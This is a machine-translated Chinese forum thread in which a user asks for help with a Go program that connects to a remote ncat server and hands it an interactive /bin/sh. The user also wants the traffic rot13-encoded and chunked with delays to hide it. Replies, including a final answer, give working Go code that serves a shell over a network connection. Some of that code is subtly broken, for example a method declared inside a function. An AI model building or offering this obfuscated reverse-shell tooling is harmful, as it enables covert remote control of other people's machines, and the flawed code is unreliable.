Golang中Socket连接问题该如何解决
Golang中Socket连接问题该如何解决 问题: 我无法成功从交互式会话(交互式 shell)中获取字节、捕获它们、处理它们,然后将它们发送到服务器。
目标: 捕获 cmd.Stdout 的所有字节,使用此函数 https://gist.github.com/xlab/6e204ef96b4433a697b3#file-bytes_split-go(第一个函数)对它们进行分割,然后才将数据块发送到服务器。
原始代码行:
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
一旦客户端连接到服务器,如果我运行任何命令,我会得到输出。如果我运行任何不存在的命令,我会得到 stderr。所以,一切工作正常。
为了实现我想要的目标,我尝试了不同的方法,但经过一些测试和调试后,我认为我终于明白了为什么我尝试的所有方法都不起作用:因为它是一个交互式 shell,而不是一个简单的命令……但我不知道在我的情况下如何做同样的事情。实际上:
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
//cmd.Stdout = conn
*****
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
conn.Write(gotthem)
*****
cmd.Stderr = conn
cmd.Run()
我在服务器上获得了 shell,我可以输入任何不存在的命令来查看 Stderr 是否正常工作(确实如此),但我没有得到任何现有命令的输出。
这段代码理论上应该可以工作,但它没有,因为 gotthem 总是空的。所以我不会在服务器上得到任何输出。
我也尝试过在 cmd.Stdout 之前移动 cmd.Run(),加载缓冲区等等,但这破坏了一切。
为了更好地理解我的目标是什么,我粘贴一个无法工作的示例代码:
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
//cmd.Stdout = conn
*****
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
trans := split(gotthem, 100)
for _, s := range trans {
conn.Write(s)
}
********
cmd.Stderr = conn
cmd.Run()
更多关于Golang中Socket连接问题该如何解决的实战教程也可以访问 https://www.itying.com/category-94-b0.html
别担心!(: 遗憾的是我并没有解决它……
更多关于Golang中Socket连接问题该如何解决的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html
哦,哇,抱歉,我没能及时跟进这个帖子。你在这方面有什么进展吗?
恐怕我没有完全理解您的问题。命令的“Stdin”是您写入数据的地方,以便将数据发送给该命令。因此,您不需要捕获 cmd.Stdin,因为您已经拥有该数据——这正是您的代码发送给命令的内容。
您能否提供示例代码,展示您试图实现的目标以及它在何处失败?
嗨 @GoNE,快速浏览代码后猜测一下(我可能错了):
代码在调用 cmd.Run() 之前 调用了 stdout.Bytes()。此时缓冲区肯定还是空的。
顺便问一下,conn 是什么类型?将 cmd.Stdin、cmd.Stdout 和 cmd.Stderr 全部 连接到 conn 的目的是什么?
没问题,感谢您提供了预期的示例代码。
我猜,如果您像我的代码中那样使用 StdinPipe() 和 StdoutPipe() 函数,您就可以非常方便地处理进出 shell 的数据流。
当一切在本地运行良好后,您可以添加服务器通信部分,应该就可以准备就绪了。祝您好运!
func main() {
fmt.Println("hello world")
}
抱歉再次打扰,我想再请教一个技巧/示例:
你之前对 cmd.Stdout 的处理方式,如果同样应用于 cmd.Stdin 和 cmd.Stderr,你会怎么做?
如何捕获 cmd.Stdin 和 cmd.Stderr 的所有字节?
我尝试将你那个对 cmd.Stdout 效果极佳的示例也用于 cmd.Stderr,但效果不佳:我无法获取 stderr,而且交互式 shell 也无法正常工作。这感觉就像是 cmd.Stdin 出了问题。
感谢您的热心帮助!(:
shell 通过 stdout、stderr 发送字节 —> Go 工具进行 rot13 编码 —> socat 进行 rot13 解码 → ncat 服务器
ncat 服务器 —> socat 对命令进行 rot13 编码 → Go 工具对 stdin 进行 rot13 解码 —> Go 工具通过 stdin 将数据发送给 shell
这是正确的!我包含了 socat 只是为了更清晰地展示整体流程。
之前失败的部分是 cmd.Stderr,但我已经解决了。
关于 stdin 部分,我尝试了与您第一个示例相关的内容,但不得不恢复到其基本版本:cmd.Stdin = conn,因为其他方法都无效,哈哈。
啊,我真是太抱歉了!哈哈,我之前贴了一个想象中的例子来提醒自己一些事情。请忽略之前的链接,这才是那个(粗糙的)示例代码:https://play.golang.org/p/079lwPe63k4
顺便说一句,你理解了我的目标!我再补充一些信息:
- 生成一个交互式 shell
- 通过该 shell 执行命令
- 读取 shell 的 stdout 流
- 处理该流,使用这个函数将 stdout 的字节分割成小块:https://gist.github.com/xlab/6e204ef96b4433a697b3#file-bytes_split-go(第一个函数)
- 将分割后的块发送到服务器,每个块之间有一些延迟
我无法实现所有功能,因为我在第一部分就卡住了:获取在交互式 shell 中运行的命令的字节流。 感谢你的热心帮助!这比我想象的要难得多!哈哈
好的,让我仔细看看,但我必须承认,我仍然不太明白这个场景。
我理解你的Go代码启动了一个外部命令,并连接到该命令的 stdin、stdout 和 stderr 流。
这个命令是一个类似 /bin/sh 的shell。我认为这个命令没有包含在你发布的图表中。这样展示shell的位置是否准确?
shell <—> golang 工具 <—> socat <—> ncat 服务器
由于socat只是一种字节流中继,为了简洁,我们可以将其从图表中移除。
shell <—> golang 工具 <—> ncat 服务器
根据我的理解,数据流如下:
shell 在 stdout、stderr 上发送字节 —> Go 工具执行 rot13 —> ncat 服务器
以及
ncat 服务器 —> Go 工具执行 rot13 —> Go 工具通过 stdin 将数据发送给 shell
这仍然正确吗?
你能分享处理 stdin 部分的代码,并解释一下它在哪里失败了吗?
你好!感谢你的回答!(:
“代码在调用 cmd.Run() 之前 调用了 stdout.Bytes()。此时缓冲区肯定是空的。”
你说得对,但在我的情况下它不起作用,因为这是一个交互式 shell!这正是让我抓狂的地方!哈哈
我将尽我所能解释我尝试过的内容以及我的理解。
这段代码 https://play.golang.org/p/yfEcqzrNNP5 是我实际工具某个早期版本的备份代码,但相信我,它和我现在用的那个真的非常相似(例如,handleConn 函数是一样的;连接客户端和服务器的部分也几乎一样)。这大致上能解释你问的所有问题(:
在我的第一次尝试中,我确实得到了输出,但仅仅是交互式 shell 本身的输出。我的意思是,在服务器上我得到了 shell,因为我看到了 $ 提示符,并且如果命令不存在我也会得到错误信息。但问题是,我得不到在交互式 shell 内部 运行的命令的输出。所以我只得到了一部分输出。就好像 stdout.Bytes() 只包含了 /bin/sh -i 的字节,而没有包含在 /bin/sh -i 内部启动的所有内容(例如:ls、whoami、cat /etc/passwd 等等……)的输出。
我当然也尝试了你说的办法,但它没有奏效。它甚至没有在服务器上生成 shell。
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
//cmd.Stdout = conn
*****
cmd.Run()
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
conn.Write(gotthem)
*****
......
如果我把 cmd.Run() 从它实际的位置移开,整个程序就因为交互性而崩溃了,哈哈 aegbjkagbkeagavbhegh
这并不像看起来那么容易。我猜缓冲数据与此有冲突。 希望我解释清楚了。如果没有,请告诉我,我会再试一次(:
感谢您的回复! 很抱歉!我会尽力解释清楚。
这是基于我想法的示意图: |----------------------------------------------------------------------------------|
| golang 工具 <—> socat rot13 编码/解码 <—> ncat 服务器 |
|---|
该工具运行一个到达服务器的 shell,因此我必须同时处理 stdout/in/err。 所以,简要来说:
- cmd.stdin:应解码传入的 rot13 字节
- cmd.stdout:应使用 rot13 编码输出字节(已实现且完全正常工作)
- cmd.stderr:应使用 rot13 编码错误字节
rot13 函数是这个:https://play.golang.org/p/XPoR1k5-fDL
关于 cmd.stderr,这是我尝试过的:
func ERROBFprocessStream(aoi io.Reader, iao io.Writer) error {
if aoi == nil {
return errors.New("aoi is nil")
}
if iao == nil {
return errors.New("iao is nil")
}
duf := make([]byte, 1024)
for {
n, err := aoi.Read(duf)
if err != nil {
if errors.Is(err, io.EOF) {
break
}
return fmt.Errorf("error reading err output (%d bytes read): %w", n, err)
}
n, err = iao.Write(duf[:n])
if err != nil {
return fmt.Errorf("error writing err output (%d bytes written): %w", n, err)
}
}
return nil
}
.........
cmdStdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmdStderr, err := cmd.StderrPipe()
if err2 != nil {
fmt.Fprintf(os.Stderr, "error creating shell err pipe: %s\n", err)
}
err = OBFprocessStream(cmdStdout, conn)
if err != nil {
fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)
}
err = ERROBFprocessStream(cmdStderr, conn)
if err != nil {
fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)
}
.......
结果如下:(我不得不发布截图而不是文本,因为文本不够清晰)

在这个例子中,我没有实现 socat。 我找到的解决方案是:
cmd.Stderr = cmd.Stdout
我得到了正确编码的 cmd.Stderr,尽管交互式 shell 比以前慢了一点。只是出于好奇,在您看来,什么是一个好的解决方案?(: 关于 cmd.stdin,我不知道如何捕获和解码传入的 rot13 编码字节。
感谢您的解释和提供的游乐场代码。
根据游乐场代码,我了解到:
- 代码会打开一个到服务器的TCP连接。
- 代码会创建一个运行shell的本地命令。
- shell的
stdin会连接到TCP连接。
在stdin被设置为TCP连接之后的代码部分,我不太理解——请参阅内联注释:
var stdout bytes.Buffer // 一个空缓冲区
cmd.Stdout = &stdout // cmd.Stdout 现在是一个指向空缓冲区的指针,类型为 io.Writer
outStr := stdout.Bytes() // outStr 现在是一个空的字节切片
z := bytes.NewBuffer(outStr) // z 现在是一个新的空缓冲区
kk := io.Writer(z) // kk 现在是类型为 io.Writer 的 z,但在下一行被覆盖
kk = conn // kk 现在是类型为 io.Writer 的 conn。kk.Write(...) 将写入到 conn
if kk != nil {
fmt.Println(kk) // 打印一个 io.Writer
}
您最初的目标描述表明您希望实现以下功能:
- 生成一个交互式shell
- 通过该shell执行命令
- 读取shell的stdout流
- 处理该流
- 将结果发送到服务器
出于好奇,我自己尝试了一下,我发现使用Cmd.StdinPipe()和Cmd.StdoutPipe()可以方便地将shell的输入和输出连接到我的代码。
package main
import (
"errors"
"fmt"
"io"
"os"
"os/exec"
)
func processStream(in io.Reader, out io.Writer) error {
if in == nil {
return errors.New("in is nil")
}
if out == nil {
return errors.New("out is nil")
}
buf := make([]byte, 1024)
for {
n, err := in.Read(buf)
if err != nil {
if errors.Is(err, io.EOF) {
break
}
return fmt.Errorf("error reading shell output (%d bytes read): %w", n, err)
}
n, err = out.Write(buf[:n])
if err != nil {
return fmt.Errorf("error writing shell output (%d bytes written): %w", n, err)
}
}
return nil
}
func main() {
shell := exec.Command("/bin/sh", "-i")
shellStdin, err := shell.StdinPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
os.Exit(1)
}
defer shellStdin.Close()
shellStdout, err := shell.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
os.Exit(1)
}
err = shell.Start() // 不会阻塞
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
os.Exit(1)
}
serverConnection := os.Stdout // 模拟服务器连接
// 向shell发送命令
go func(pipe io.WriteCloser) {
cmds := []string{
"echo hello",
"ls -l",
}
for _, cmd := range cmds {
fmt.Fprintln(pipe, cmd)
}
pipe.Close()
}(shellStdin)
// 读取shell输出,处理它,并将其发送到服务器
err = processStream(shellStdout, serverConnection)
if err != nil {
fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)
os.Exit(1)
}
}
在Golang中处理交互式shell的Socket连接需要特殊处理,因为交互式shell的输出是流式的,不能直接使用bytes.Buffer一次性获取。以下是解决方案:
package main
import (
"bytes"
"io"
"net"
"os/exec"
)
// 分割函数(来自您提供的gist)
func split(buf []byte, lim int) [][]byte {
var chunk []byte
chunks := make([][]byte, 0, len(buf)/lim+1)
for len(buf) >= lim {
chunk, buf = buf[:lim], buf[lim:]
chunks = append(chunks, chunk)
}
if len(buf) > 0 {
chunks = append(chunks, buf[:len(buf)])
}
return chunks
}
func handleConnection(conn net.Conn) {
defer conn.Close()
cmd := exec.Command("/bin/sh", "-i")
// 创建管道
stdoutPipe, _ := cmd.StdoutPipe()
stderrPipe, _ := cmd.StderrPipe()
cmd.Stdin = conn
// 启动命令
if err := cmd.Start(); err != nil {
return
}
// 处理标准输出
go func() {
buf := make([]byte, 1024)
for {
n, err := stdoutPipe.Read(buf)
if err != nil {
break
}
if n > 0 {
chunks := split(buf[:n], 100)
for _, chunk := range chunks {
conn.Write(chunk)
}
}
}
}()
// 处理标准错误
go func() {
buf := make([]byte, 1024)
for {
n, err := stderrPipe.Read(buf)
if err != nil {
break
}
if n > 0 {
conn.Write(buf[:n])
}
}
}()
cmd.Wait()
}
// 或者使用io.Copy配合自定义Writer
func handleConnectionWithWriter(conn net.Conn) {
defer conn.Close()
cmd := exec.Command("/bin/sh", "-i")
// 创建自定义Writer
type chunkWriter struct {
conn net.Conn
}
func (cw *chunkWriter) Write(p []byte) (n int, err error) {
chunks := split(p, 100)
for _, chunk := range chunks {
if _, err := cw.conn.Write(chunk); err != nil {
return 0, err
}
}
return len(p), nil
}
writer := &chunkWriter{conn: conn}
cmd.Stdin = conn
cmd.Stdout = writer
cmd.Stderr = writer
cmd.Run()
}
// 使用io.MultiReader的版本
func handleConnectionMultiReader(conn net.Conn) {
defer conn.Close()
cmd := exec.Command("/bin/sh", "-i")
stdoutPipe, _ := cmd.StdoutPipe()
stderrPipe, _ := cmd.StderrPipe()
cmd.Stdin = conn
if err := cmd.Start(); err != nil {
return
}
// 合并stdout和stderr
multiReader := io.MultiReader(stdoutPipe, stderrPipe)
go func() {
buf := make([]byte, 1024)
for {
n, err := multiReader.Read(buf)
if err != nil {
break
}
if n > 0 {
chunks := split(buf[:n], 100)
for _, chunk := range chunks {
conn.Write(chunk)
}
}
}
}()
cmd.Wait()
}
关键点:
- 交互式shell的输出是流式的,需要使用管道(Pipe)而不是Buffer
- 必须使用
cmd.Start()而不是cmd.Run()来异步处理 - 需要为stdout和stderr分别创建goroutine进行读取
- 分割函数需要在读取到数据后立即处理,而不是等待所有数据
对于服务器端代码:
func main() {
listener, err := net.Listen("tcp", ":8080")
if err != nil {
panic(err)
}
defer listener.Close()
for {
conn, err := listener.Accept()
if err != nil {
continue
}
go handleConnection(conn) // 或使用其他版本
}
}
这个解决方案确保了交互式shell的输出能够被实时捕获、分割并发送到客户端,同时保持了shell的交互性。

